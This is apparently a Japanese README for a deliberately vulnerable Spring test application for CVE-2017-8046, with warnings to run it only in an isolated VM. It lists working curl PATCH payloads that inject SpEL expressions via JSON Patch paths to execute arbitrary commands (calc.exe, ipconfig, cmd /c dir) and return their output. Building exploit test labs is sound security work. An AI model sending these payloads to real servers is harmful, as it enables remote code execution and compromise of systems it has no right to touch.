
警告:これはSpring Break脆弱性(CVE-2017-8046)のエクスプロイトをテストするための脆弱なアプリケーションです。自己責任で実行してください!
これは、Spring Break 脆弱性(CVE-2017-8046)のエクスプロイトをテストするための脆弱性アプリケーションです。
このアプリケーションには深刻なセキュリティ脆弱性が含まれています。自己責任で実行してください!バックアップ済みで隔離された環境(最近のスナップショットとホストオンリーネットワークを備えた VM など)を使用することをお勧めします。このアプリケーションをインターネットに公開されたサーバーにアップロードしないでください。侵害されます。
免責事項: 私は、このアプリケーション(SpringBreakVulnerableApp)の使用方法について一切の責任を負いません。このアプリケーションの唯一の目的は、Spring Break エクスプロイトのテストシナリオとなることであり、悪意を持って使用すべきではありません。SpringBreakVulnerableApp のインストールを介してサーバーが侵害された場合、それは私の責任ではなく、アップロードしてインストールした人物の責任です。
アプリケーションは次の Maven コマンドで起動できます。
mvn spring-boot:run
ファットJAR は次の Maven コマンドで生成できます。
mvn clean install spring-boot:repackage
データを挿入するには、次の curl コマンドを使用できます。
curl -i -X POST -H "Content-Type: application/json" -d '{ "name" : "Test", "attribute" : "foo"}' http://hostname:port/entity
おそらく最も簡単なエクスプロイトは、次のリクエストです。
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' "http://hostname:port/entity/1"
Windows では、次のリクエストで calc.exe プロセスを起動できます。同様のリクエストを使用して任意のコマンドを実行できます。
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
起動したコマンドの出力を取得するには、Spring Framework のコードが提供するいくつかの「ガジェット」を使用できます。幸い、外部依存関係は必要ありません。たとえば、ipconfig コマンドの結果は、次のリクエストで取得できます。
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ipconfig\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Windows では、次のリクエストで cmd /c dir コマンドやその他の同様のコマンドを起動できます。スラッシュ文字を明示的な値を使わずに挿入するトリックに注意してください(つまり、実際の解析の前に明示的なスラッシュがドットに置き換えられます)。
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"cmd \" + T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F)) + \"c dir\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
この脆弱性を悪用する Java プログラムは ここ にあります。
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE.txt ファイルを参照してください。